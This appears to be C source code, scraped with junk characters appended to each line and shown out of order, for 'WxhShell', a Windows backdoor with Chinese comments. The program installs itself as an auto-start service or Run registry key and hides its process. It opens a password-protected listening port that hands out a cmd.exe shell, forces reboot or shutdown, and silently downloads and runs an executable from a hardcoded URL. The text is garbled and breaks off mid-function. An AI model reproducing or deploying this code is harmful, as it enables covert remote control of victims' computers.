  case 'd': { uxOeD%Z>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \-W|)H  
    if(Boot(SHUTDOWN)) 8#{DBWU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @}<b42  
    else { qRc Y(mb  
    closesocket(wsh); PB(q9gf"1}  
    ExitThread(0); V{{Xz:   
    } lDX\"Fq  
    break; p.|M:C\xL  
    } 6Bf aB:  
  // 获取shell ccY! OSae  
  case 's': { KNG7$icG  
    CmdShell(wsh); .Cz9?]jyI  
    closesocket(wsh); {g]Mx|5Q  
    ExitThread(0); E;bv;RUio  
    break; O>3f*Cc  
  } NiSH$ MJ_  
  // 退出 o JX4+uJ  
  case 'x': { !zQbF&>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vACJE  
    CloseIt(wsh); d` X1cG  
    break; ?p'DgL{  
    }  va [r~  
  // 离开 ~zYk,;m  
  case 'q': { oe*CZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^oMdx2Ow#  
    closesocket(wsh);  X]4j&QB  
    WSACleanup(); '\% Kd+k  
    exit(1); a797'{j#PI  
    break; >/+R~ n  
        } *TgD{>s  
  } 85_Qb2<'r  
  } /@?lV!QiO  
3_ ZlZ_Tq  
  // 提示信息 O_ d[{e=5`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2GxkOch  
} `hf`lq^  
  } |@BX*r  
-sxu7I  
  return; dK41NLGQ  
} oTg 'N  
1G8,Eah  
// shell模块句柄 3}lIY7 O  
int CmdShell(SOCKET sock) 2j&0U!DX  
{ snYyxi  
STARTUPINFO si; 9p,PWA  
ZeroMemory(&si,sizeof(si)); ]Q#k"Je  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t 7D~JAx6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0"{-<Wot}  
PROCESS_INFORMATION ProcessInfo; 7U!-_)n{  
char cmdline[]="cmd"; srhI%Zj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iGN6'm`  
  return 0; !j/54,  
} I2WWhsNC  
tYp 185  
// 自身启动模式 * !9=?  
int StartFromService(void) j&[u$P*K  
{ Q<Qd*v&-  
typedef struct 8@/MrEOW#  
{ hi/Z>1ZOX  
  DWORD ExitStatus; (9{qT>eJg=  
  DWORD PebBaseAddress; 3+&k{UZjt  
  DWORD AffinityMask; -<:w{cV  
  DWORD BasePriority; LqLhZBU9  
  ULONG UniqueProcessId; 29zMs9oKPP  
  ULONG InheritedFromUniqueProcessId; eo~b]D  
}   PROCESS_BASIC_INFORMATION; g> m)XY  
cRE6/qrXGg  
PROCNTQSIP NtQueryInformationProcess; }tL]EW^  
6xFchdMG{m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Hw*q|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s>)?MB*vb  
_WZ{i,  
  HANDLE             hProcess; j`#H%2W\;  
  PROCESS_BASIC_INFORMATION pbi; qP-_xpu]R  
:!^NjO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -f*5lkO  
  if(NULL == hInst ) return 0;  % s@  
<zm:J4&>T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZYt1V"2VJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z<%dWz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _9dW+  
6s>io%,:  
  if (!NtQueryInformationProcess) return 0; -hq^';,  
wYLodMaYH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3Kc9*]D  
  if(!hProcess) return 0; "MK2QIo  
P 5.@LN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hl0\$  
&DjA?0`J  
  CloseHandle(hProcess);  ^"~r/@l  
G9Noch9 g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K{,'%|  
if(hProcess==NULL) return 0; <oi'yr  
LG:d  
HMODULE hMod; xm5?C>vu(  
char procName[255]; 7rYBFSp  
unsigned long cbNeeded; B`||4*  
EdTL]Xk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (BngwLVDK  
`PUxR8y  
  CloseHandle(hProcess); S}cR+d1}h  
X|&H2y|*7  
if(strstr(procName,"services")) return 1; // 以服务启动 /r2S1"(q  
e"*1l>g  
  return 0; // 注册表启动 u'k+t`V&  
} 9_4(}|"N|  
Qv g_|~n  
// 主模块 F'F 6 &a+  
int StartWxhshell(LPSTR lpCmdLine) R NQq"c\  
{ vexF|'!}0#  
  SOCKET wsl; j9yOkaVEg  
BOOL val=TRUE; eo@8?>}{X  
  int port=0; cNN0-<#c  
  struct sockaddr_in door; $|7=$~y  
{p$@)b  
  if(wscfg.ws_autoins) Install(); @2mWNYHR*>  
54B`T/>R:E  
port=atoi(lpCmdLine); Ujlbcv6+  
G9V2(P  
if(port<=0) port=wscfg.ws_port; 4[&&E7]EX  
CBNt _y  
  WSADATA data; >I<}:=   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9[teG5wA a  
%O f w"W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p_%,JD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :WsHP\r  
  door.sin_family = AF_INET; ylb)SXBf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mlLqQ<  
  door.sin_port = htons(port); b|@zjh;]A7  
7ku=roPoF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -T i<H9OV  
closesocket(wsl); hOkn@F.  
return 1; = Ezg3$%-  
} lrwQ >N  
Nd_A8H,&B  
  if(listen(wsl,2) == INVALID_SOCKET) { n~BQq-1  
closesocket(wsl); ya5HAs  
return 1; V~ MsGj  
} u 8<[Q]5  
  Wxhshell(wsl); 0I:5}$+J?  
  WSACleanup(); EVBOubV  
[s\8@5?E  
return 0; r$-P  
5''k|B>  
} Y2'HP)tfIw  
 LAM{ ,?~  
// 以NT服务方式启动 e=p_qhBt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :SW vH-]  
{ e==/+  
DWORD   status = 0; 6d6Dk>(V  
  DWORD   specificError = 0xfffffff; ?Q+*[YEJ5  
H3vnc\d~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f Ayh9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 64 'QTF{D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wtfH3v  
  serviceStatus.dwWin32ExitCode     = 0; "w0~f6o  
  serviceStatus.dwServiceSpecificExitCode = 0; #G?#ot2o  
  serviceStatus.dwCheckPoint       = 0; 5Ma."?rW   
  serviceStatus.dwWaitHint       = 0; ~% t'}JDZ  
_TmKn!Jw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |,S]EHIy  
  if (hServiceStatusHandle==0) return; ;$1x_ Cb  
>?)_, KL  
status = GetLastError(); _ G t;=  
  if (status!=NO_ERROR) k h*WpX  
{ {oF;ZM'r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g:xg ~H2  
    serviceStatus.dwCheckPoint       = 0; ]bmf}&  
    serviceStatus.dwWaitHint       = 0; &iq'V*+-\  
    serviceStatus.dwWin32ExitCode     = status; 6I=xjgwvf  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~;pP@DA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @jjxgd'%&  
    return; t2.jg?`k  
  } +t1+1 Zv  
\ K}KnJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .HGK  3  
  serviceStatus.dwCheckPoint       = 0; z.\\m;s  
  serviceStatus.dwWaitHint       = 0; $FIJI^Kd7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5 8L@:>"  
} ]]`[tVaFr  
Y*A y=@z=y  
// 处理NT服务事件,比如:启动、停止 :SO4@JT{W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sh0x<_  
{ )+hJi/g  
switch(fdwControl) #K$0%0=M  
{ p[%~d$JUq  
case SERVICE_CONTROL_STOP: a #s Nd  
  serviceStatus.dwWin32ExitCode = 0; V4CA*FEA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OEzSItAI/[  
  serviceStatus.dwCheckPoint   = 0; EV* |\ te  
  serviceStatus.dwWaitHint     = 0; g2}aEfp!H  
  { |F'eT 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hBcklI  
  } QkTU@T6>o  
  return; )' ,dP)b  
case SERVICE_CONTROL_PAUSE: @m:' L7+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -;HZ!Lf  
  break; [AD%8 H  
case SERVICE_CONTROL_CONTINUE: [xGL0Z%)t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "]'W^Fg  
  break; 1GLb^:~A  
case SERVICE_CONTROL_INTERROGATE: @Xh8kvc81  
  break; $(OL#>9Ly  
}; zH~g5xgh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8F)9.s,*  
} ov\%*z2=  
ww%4MHPp8  
// 标准应用程序主函数 4 BNbS|?vV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,g|ht%"  
{ l#w0-n%S  
g&ba]?[A  
// 获取操作系统版本 >%_i#|dE>  
OsIsNt=GetOsVer(); z|S4\Ae  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *_Pkb.3R  
91T[@p  
  // 从命令行安装 :N xksL^  
  if(strpbrk(lpCmdLine,"iI")) Install(); )D]LPCd[  
-*?{/QmKb  
  // 下载执行文件 " 68=dC  
if(wscfg.ws_downexe) { N$ 2Iz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : :/vDUDc  
  WinExec(wscfg.ws_filenam,SW_HIDE); d+8|aS<A  
} 5(Xq58nhxI  
IueI7A  
if(!OsIsNt) { f-}_  
// 如果时win9x,隐藏进程并且设置为注册表启动 +]VW[ $W  
HideProc(); . ve a[  
StartWxhshell(lpCmdLine); C$v !emu  
} '}P$hP_d  
else q }9n.  
  if(StartFromService()) ~@D!E/hZx  
  // 以服务方式启动 u)P)r,  
  StartServiceCtrlDispatcher(DispatchTable); +2s][^-KV  
else MPsm)jqX  
  // 普通方式启动 ~~WX#Od*$  
  StartWxhshell(lpCmdLine); .Na'yS `J  
qKuHd~M{ 1  
return 0; ?T[K{t;~jo  
} )Vx C v  
l-[5Zl;"  
#}'sknvM}  
]5eZLXM  
=========================================== G0x!:[  
_qS4Ns/4s  
')E4N+h/  
kmsgaB7?  
0a v2w5>af  
QPsvc6ds  
" TJ(vq]|&  
=$vy_UN  
#include <stdio.h> |DoD.?v  
#include <string.h> iA+zZVwO  
#include <windows.h> Cqw`K P  
#include <winsock2.h> jX91=78d  
#include <winsvc.h> D?? \H\  
#include <urlmon.h> '\B!1B>T  
xo(3<1mD  
#pragma comment (lib, "Ws2_32.lib") T:EUI]  
#pragma comment (lib, "urlmon.lib") Cv1CRmqq%  
)%(H'omvl  
#define MAX_USER   100 // 最大客户端连接数 g6<D 1r  
#define BUF_SOCK   200 // sock buffer ?rububDT{  
#define KEY_BUFF   255 // 输入 buffer ]Y6y ]u  
[c#?@S_  
#define REBOOT     0   // 重启 2lBfc  
#define SHUTDOWN   1   // 关机 :.NCS`z_  
uF\f>E)/N%  
#define DEF_PORT   5000 // 监听端口 NpxND0  
UNKXfe(X9  
#define REG_LEN     16   // 注册表键长度 {FNq&)#`  
#define SVC_LEN     80   // NT服务名长度 V]A*' ke/  
g 2&P  
// 从dll定义API {(qH8A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }VXZM7@u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W!WeYV}kb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,zH\&D$>u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sc3B*.  
^Dw18gqr=@  
// wxhshell配置信息 -&_;x&k /  
struct WSCFG { dRnO5 7+{  
  int ws_port;         // 监听端口 Hqm1[G)  
  char ws_passstr[REG_LEN]; // 口令 WCZeY?_^c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8qQrJFm|3*  
  char ws_regname[REG_LEN]; // 注册表键名 F6 c1YI[  
  char ws_svcname[REG_LEN]; // 服务名 c,RY j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,*'aH z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :s'hXo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s~MCt|a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l>:\% ol  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cu +u'&U!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R?GF,s<j  
2XGbqZj  
}; b_j8g{/9  
)MJy  
// default Wxhshell configuration >^hy@m  
struct WSCFG wscfg={DEF_PORT, _q dLA  
    "xuhuanlingzhe", maTZNzy  
    1, `h|>;u   
    "Wxhshell", T hLR<\  
    "Wxhshell", -$m?ShDd  
            "WxhShell Service", 4 Gm(P~N  
    "Wrsky Windows CmdShell Service", `T;Y%"X!  
    "Please Input Your Password: ", oc3}L^aD  
  1, -6u#:pVpU  
  "http://www.wrsky.com/wxhshell.exe", N`%f+eT(  
  "Wxhshell.exe" koAM",5D  
    }; y?s8UEC  
H0.,h;  
// 消息定义模块 GBsM?A:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #yVMC;J?W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +O,h<* y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OClY ,@  
char *msg_ws_ext="\n\rExit."; E/GI:}YUy_  
char *msg_ws_end="\n\rQuit."; %n}]$ d  
char *msg_ws_boot="\n\rReboot..."; NM]6  o  
char *msg_ws_poff="\n\rShutdown..."; d&'6l"${  
char *msg_ws_down="\n\rSave to "; ZRxB"a'  
eB]ZnJ2^=  
char *msg_ws_err="\n\rErr!"; hG;u8|uT^i  
char *msg_ws_ok="\n\rOK!"; alu`T c~  
L:^'cl} G  
char ExeFile[MAX_PATH]; |R[m&uOib  
int nUser = 0; "{0kg'fU  
HANDLE handles[MAX_USER]; \R#XSW,  
int OsIsNt; *@Qt*f  
 03#_ (  
SERVICE_STATUS       serviceStatus; -0\$JAyrx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ql V:8:H$  
"iydXV=Q  
// 函数声明 uuC/F_='B  
int Install(void); 3?}SXmA'@  
int Uninstall(void); ,,iQG' *  
int DownloadFile(char *sURL, SOCKET wsh); !{3pp  
int Boot(int flag); QTyl=z7  
void HideProc(void); WMC6 dD_6e  
int GetOsVer(void); }gn0bCJy  
int Wxhshell(SOCKET wsl); S n+Yi  
void TalkWithClient(void *cs); (nzzX?`nY  
int CmdShell(SOCKET sock); a[JgR/E@x  
int StartFromService(void); @F1pu3E  
int StartWxhshell(LPSTR lpCmdLine); /;>EyWW  
1h"B-x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]zm6;/ S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P6?Q;-\q0  
jW*A(bK8:  
// 数据结构和表定义 KG?]MVXA  
SERVICE_TABLE_ENTRY DispatchTable[] = bC{~/ JP  
{ \E30.>%,  
{wscfg.ws_svcname, NTServiceMain}, Q7s1M&K  
{NULL, NULL} ls5S9R 5  
}; R's xa*VB  
{F4:  
// 自我安装 WV% KoM,%  
int Install(void) {J]|mxo  
{ M1i|qjb:l  
  char svExeFile[MAX_PATH]; O| 2Q- @D  
  HKEY key; g=%&p?1@E  
  strcpy(svExeFile,ExeFile); BCj&z{5"7e  
v$cD!`+k  
// 如果是win9x系统,修改注册表设为自启动 h Na<LZ  
if(!OsIsNt) { 4>W`XH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4j*}|@x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :8ZxOwwv  
  RegCloseKey(key); cQR1v-Xt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F~Li.qF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BAhC-;B#R  
  RegCloseKey(key); 2Ar<(v$  
  return 0; ymzm x$o=  
    } w9FI*30  
  } UdGoPzN  
} %L/=heBBd  
else { L`#+ZLo  
U,=K_oBAq  
// 如果是NT以上系统,安装为系统服务 ,uv$oP-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J-}NFWR;t  
if (schSCManager!=0)  UyQn onS  
{ X=3@M_Jzo  
  SC_HANDLE schService = CreateService /\#5\dHj  
  ( c;^J!e  
  schSCManager, 7'|PHQ?S  
  wscfg.ws_svcname, ]Q3Gj@6  
  wscfg.ws_svcdisp, -  -G1H  
  SERVICE_ALL_ACCESS, pV7Gh`<y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "YL-!P  
  SERVICE_AUTO_START, "7HB3?2>W  
  SERVICE_ERROR_NORMAL, 1 XG-O  
  svExeFile, |$PLZ,  
  NULL, fDd!Mt  
  NULL, ! Cl/=0$[L  
  NULL, R%%`wmG)"  
  NULL, K +~v<F  
  NULL F(<8:`N;G  
  ); +]-KzDsr"V  
  if (schService!=0) 0R& U18)y  
  { "b 0cj  
  CloseServiceHandle(schService); o!~bR  
  CloseServiceHandle(schSCManager); qedGBl&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T Rw6$CR  
  strcat(svExeFile,wscfg.ws_svcname); Q(UGwd1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q$1K{14I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D.(G9H  
  RegCloseKey(key); E0Q"qEvU  
  return 0; ^{:jY, ?]  
    } c~xo@[NaS  
  } g5Rm!T+@I<  
  CloseServiceHandle(schSCManager); ImY.HB^&  
} U[b;#Y1X  
} ]%|WE  
sw|:Z(`  
return 1; @@IA35'tc  
} U*Qq5=dqD  
Hc]1mM  
// 自我卸载 /\rq$W_  
int Uninstall(void) ,:4DN&<  
{ v9U(sEDq  
  HKEY key; -vHr1I<  
"<x~{BN?  
if(!OsIsNt) { DYlvxF`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5lnSa+_/f  
  RegDeleteValue(key,wscfg.ws_regname); WuFwt\U  
  RegCloseKey(key); Rt^<xXX$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _}OJPahw  
  RegDeleteValue(key,wscfg.ws_regname); v Q"s  
  RegCloseKey(key); 1G%PXrEj8  
  return 0; *Ca)RgM  
  } 4;RCPC  
} {|Ki^8h/p  
} S9R]Zl7{-  
else { :z.Y$]F@  
,6;xr'[o*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3g [j%`k  
if (schSCManager!=0) f&}A!uLe4x  
{ s;2/Nc   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x$GsDV  
  if (schService!=0) P%sO(_PuT  
  { rLh9`0|D  
  if(DeleteService(schService)!=0) { 'd #\7J>d  
  CloseServiceHandle(schService); [W$Z60?RR  
  CloseServiceHandle(schSCManager); ,LW+7yD  
  return 0; 1N9< d,  
  } u'i%~(:$\)  
  CloseServiceHandle(schService); ~ sIGI?5f  
  } pp]_/46nN  
  CloseServiceHandle(schSCManager); ,.jHV  
} 4r[pMJiq  
} 7~"(+f  
.S!>9X,  
return 1; xN3 [Kp  
} g[s\~MF@s  
58&{5YpS  
// 从指定url下载文件 :%#r.p"6x  
int DownloadFile(char *sURL, SOCKET wsh) FU\/JF.j  
{ zD2.Q%`IM  
  HRESULT hr; -/UXd4S  
char seps[]= "/"; lMwk.#  
char *token; R6q4 ["  
char *file; C~{NKMeC/m  
char myURL[MAX_PATH]; OyJsz]b} M  
char myFILE[MAX_PATH]; Er"R;l]xJ  
1GG>.RCP  
strcpy(myURL,sURL); kz0I2!bt  
  token=strtok(myURL,seps); [O7w =  
  while(token!=NULL) q*[!>\ Z8  
  { f4'El2>-86  
    file=token; v._Egk0  
  token=strtok(NULL,seps); Yz=h"Zr  
  } mA(nyF  
QSHJmk 6L  
GetCurrentDirectory(MAX_PATH,myFILE); &_9YLXtMi;  
strcat(myFILE, "\\"); ;GE26Ymqly  
strcat(myFILE, file); %1\v7Xw{9  
  send(wsh,myFILE,strlen(myFILE),0); .!yWF?T8  
send(wsh,"...",3,0); Cf0|Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W?qpnPW  
  if(hr==S_OK) 'y4zBLY  
return 0; s~=KhP~  
else ,< @,gZru  
return 1; @up&q  
[)#u<lZ<~  
} +65oC x  
0A#*4ap  
// 系统电源模块 k SB  
int Boot(int flag) x37/cu  
{ SU%mmw ES3  
  HANDLE hToken; t=n+3`g  
  TOKEN_PRIVILEGES tkp; [ rQMD^:M$  
1.'(nKoq  
  if(OsIsNt) { z,pNb%*O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H LjvKE=W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2E^"r jLm  
    tkp.PrivilegeCount = 1; U/ ?F:QD4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [IiwNqZ[~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j~Q}F|i8  
if(flag==REBOOT) { 7MY)\aH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]\A1mw-T  
  return 0; r5o@+"!  
} WgE@89  
else { b -PSm=`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hZcmP"wgC1  
  return 0; 9%sFJ  
} :<L5sp  
  } 3 m6$YWO  
  else { mge#YV::  
if(flag==REBOOT) { M~uMY+>   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PPEq6}  
  return 0; H4t)+(:D'  
} Nepi|{  
else { C1b*v&1{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z&O#v9.NE|  
  return 0;  KyTuF   
} kP@H G<~  
} AcKU^T+  
z<!O!wX_aI  
return 1; Tr~sieL  
} tZbFvk2  
/0(%(2jIWl  
// win9x进程隐藏模块 V\0E=M*P  
void HideProc(void) I_ONbJ9]  
{ P$g^vS+  
p!_[qs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ["u#{>(X  
  if ( hKernel != NULL ) F>*{e  
  { LT/mb2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D93gH1z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); msiu8E  
    FreeLibrary(hKernel); fN@{y+6  
  } :5J_5,?;`  
5Tedo~v  
return; 5Q W}nRCZ  
} 8] `Ru5nd  
'S*k_vuN  
// 获取操作系统版本 Sm)u9  
int GetOsVer(void) c;9.KCpwx  
{ -jB3L:  
  OSVERSIONINFO winfo; nBkh:5E5%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $#e1SS32  
  GetVersionEx(&winfo); BgM%+b8u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Y2i*:<  
  return 1; Ird|C[la  
  else L0L2Ns  
  return 0; /`3 #4=5-  
} X %4Kj[I^  
&l m#  
// 客户端句柄模块 zU&L.+   
int Wxhshell(SOCKET wsl) 19W:-Om  
{ 1y(UgEg   
  SOCKET wsh; 0J9D"3T)  
  struct sockaddr_in client; o:~LF6A-  
  DWORD myID; $,ikv?"L  
jo9gCP.  
  while(nUser<MAX_USER) =^tA_AxVw  
{ K\u_Ji]k  
  int nSize=sizeof(client); 5Sva}9H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r|eZv<6  
  if(wsh==INVALID_SOCKET) return 1; /<{:I \<  
02=lsV!U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }r%X`i|  
if(handles[nUser]==0) 3I  $>uR  
  closesocket(wsh); SwW['c'*]B  
else y(i Y  
  nUser++; -oP'4QVb  
  } G^;>8r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "N5!mpD"  
iM]o"qOQm  
  return 0; O9"/ kmB  
} =Vw 5q},3  
hgj <>H|  
// 关闭 socket F_H82BE+3  
void CloseIt(SOCKET wsh) -7{ $ Vj  
{ !.TLW  
closesocket(wsh); Ig6T g ?  
nUser--; 1P(&J  
ExitThread(0); Ul+Mo&y-  
} Qk1xUE  
~*W!mlg  
// 客户端请求句柄 <RNJ>>0  
void TalkWithClient(void *cs) _O"mfXl6  
{ >znRyQ~bM  
ZJ*g)) k7  
  SOCKET wsh=(SOCKET)cs; x[ 3A+  
  char pwd[SVC_LEN]; DA&?e~L&H  
  char cmd[KEY_BUFF]; kwpK1R4zs  
char chr[1]; YXo|~p;=Y  
int i,j; 9f+>ix,ek*  
E&$yuW^z  
  while (nUser < MAX_USER) { Q'O[R+YT ,  
5L,}e<S$  
if(wscfg.ws_passstr) { GL{57  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @&|l^ 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,#?uJTLH  
  //ZeroMemory(pwd,KEY_BUFF); 0tg8~H3yy  
      i=0; ma'FRt  
  while(i<SVC_LEN) { ,\2:/>2  
M-V&X&?j  
  // 设置超时 uvP2Wgt  
  fd_set FdRead; qt%D'  
  struct timeval TimeOut; _j?e~w&0b  
  FD_ZERO(&FdRead); @f]{>OS  
  FD_SET(wsh,&FdRead); U-/{0zB  
  TimeOut.tv_sec=8; :+Om]#`Vls  
  TimeOut.tv_usec=0; ,<BbpIQ2o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Suk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ABE@n%|`  
ivDGZI9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X3'H `/  
  pwd=chr[0]; r}[7x]sP  
  if(chr[0]==0xd || chr[0]==0xa) { $`R6=\|  
  pwd=0; <\kr1qH H  
  break; B#/Q'V  
  } H"ZZ.^"5FV  
  i++; `;%]'F0`  
    } hW!)w  
L_=3<n E  
  // 如果是非法用户,关闭 socket 5waKI?4F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,|&9M^  
} }!IL]0 q  
( Jz;W<E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B,,D7cQC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Zi@A4Wu  
|2{wG 4  
while(1) { t%F0:SH  
Kq i4hK  
  ZeroMemory(cmd,KEY_BUFF); 6k#Jpmmr  
HRB<Y mP@  
      // 自动支持客户端 telnet标准   yj^+ G  
  j=0; ,}K<*t[I  
  while(j<KEY_BUFF) { KtNY_&xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c y8;@[#9  
  cmd[j]=chr[0]; %2v4<icvq  
  if(chr[0]==0xa || chr[0]==0xd) { ..rOsg{  
  cmd[j]=0; F_CYYGZ  
  break; qvPtyc^fN  
  } 7hsGua  
  j++; &RfC"lc  
    } '3uVkp 6tF  
/~3r;M  
  // 下载文件 r?/'!!4  
  if(strstr(cmd,"http://")) { ~ 0M'7q'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qT+%;(  
  if(DownloadFile(cmd,wsh)) '3g[]M@M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?!+MM&c-n  
